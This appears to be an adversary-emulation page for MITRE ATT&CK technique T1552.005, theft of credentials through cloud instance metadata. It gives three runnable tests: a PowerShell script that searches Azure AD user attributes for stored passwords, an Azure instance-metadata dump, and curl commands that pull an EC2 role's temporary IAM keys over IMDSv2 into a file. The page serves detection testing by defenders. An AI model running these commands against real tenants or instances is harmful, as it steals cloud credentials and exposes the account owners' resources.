logo
SlackReddit

T1552.005

Unsecured Credentials: Cloud Instance Metadata API

Description from ATT&CK

Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.

Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)

If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)

The de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.

Source

Atomic Tests

Atomic Test #1: Azure - Search Azure AD User Attributes for Passwords

This test uses the MSOnline Powershell module to retrieve all user attributes for a specified account, which can sometimes contain unsecured credentials. Upon successful execution, this test will scan all user attributes for any strings containing "password". Those unsecured credentials will be output to a text file, as well as the account that they are associated with and the user attribute in which they were found. See: https://github.com/dafthack/CloudPentestCheatsheets/blob/master/cheatsheets/Azure.md

Supported Platforms: Azure-ad

auto_generated_guid: ae9b2e3e-efa1-4483-86e2-fae529ab9fb6

Inputs

NameDescriptionTypeDefault Value
usernameAzure AD usernamestring
passwordAzure AD passwordstringT1082Az

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

import-module msonline
$Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
Connect-MsolService -Credential $Credential
$users = Get-MsolUser -All;
foreach($user in $users)
{$props = @();$user | Get-Member | foreach-object{$props+=$_.Name};
foreach($prop in $props)
{if($user.$prop -like "*password*")
{("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop) | out-file -filepath $env:temp\T1552.005Test1.txt -append -force}}}
get-content -path $env:temp\T1552.005Test1.txt -erroraction silentlycontinue

Cleanup Commands

remove-item $env:temp\T1552.005Test1.txt -force -erroraction silentlycontinue

Dependencies: Run with powershell!

Description: The MSOnline module must be installed.
Check Prereq Commands
if (get-command Get-MsolUser -erroraction silentlycontinue){exit 0} else {exit 1}
Get Prereq Commands
install-module MSOnline

Atomic Test #2: Azure - Dump Azure Instance Metadata from Virtual Machines

This test invokes a web request to the default Instance Metadata API of 169.254.169.254 in order to dump the data contained within it to a file. See: https://www.sans.org/blog/cloud-instance-metadata-services-imds-/

Supported Platforms: Iaas:azure

auto_generated_guid: cc99e772-4e18-4f1f-b422-c5cdd1bfd7b7

Inputs

NameDescriptionTypeDefault Value
output_fileFile to output metadata tostring$env:temp\T1552.005Test2.txt

Attack Commands: Run with powershell!

Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64 > #{output_file}

Cleanup Commands

remove-item #{output_file} -force -erroraction silentlycontinue

Atomic Test #3: AWS - Retrieve EC2 IAM Role Credentials via IMDSv2

Simulates an adversary on a compromised EC2 instance abusing the Instance Metadata Service Version 2 (IMDSv2) to steal the temporary IAM role credentials assigned to the instance. A session token is first requested with a PUT to /latest/api/token, then supplied in the X-aws-ec2-metadata-token header to read the instance's IAM role name and retrieve that role's AccessKeyId, SecretAccessKey, and Token from /latest/meta-data/iam/security-credentials/. The harvested credentials are written to a file. On a host that is not an EC2 instance the requests to the link-local 169.254.169.254 address time out and no credentials are returned. See: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html

Supported Platforms: Linux, Iaas:aws

auto_generated_guid: c9aa1ca4-04df-4623-adac-1f199ca5ce42

Inputs

NameDescriptionTypeDefault Value
metadata_endpointBase URL of the EC2 Instance Metadata Servicestringhttp://169.254.169.254
token_ttlTTL in seconds requested for the IMDSv2 session tokeninteger21600
output_fileFile the harvested IAM role credentials are written topath/tmp/T1552.005_aws_imds_creds.json

Attack Commands: Run with sh!

token=$(curl -s --connect-timeout 2 -m 5 -X PUT "#{metadata_endpoint}/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: #{token_ttl}")
role=$(curl -s --connect-timeout 2 -m 5 -H "X-aws-ec2-metadata-token: $token" "#{metadata_endpoint}/latest/meta-data/iam/security-credentials/")
curl -s --connect-timeout 2 -m 5 -H "X-aws-ec2-metadata-token: $token" "#{metadata_endpoint}/latest/meta-data/iam/security-credentials/$role" -o "#{output_file}"
if [ -s "#{output_file}" ]; then cat "#{output_file}"; else echo "No IAM credentials returned (host is not an EC2 instance with an attached role)"; fi

Cleanup Commands

rm -f "#{output_file}"

Dependencies: Run with sh!

Description: curl must be installed.
Check Prereq Commands
if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi
Get Prereq Commands
if grep -iq "debian\|ubuntu\|kali\|mint" /usr/lib/os-release; then apt update && apt install -y curl; fi
if grep -iq "rhel\|fedora\|centos\|rocky\|alma" /usr/lib/os-release; then yum install -y curl; fi

Atomic test(s) for this technique last updated: 2026-07-13 17:18:58 UTC

On this page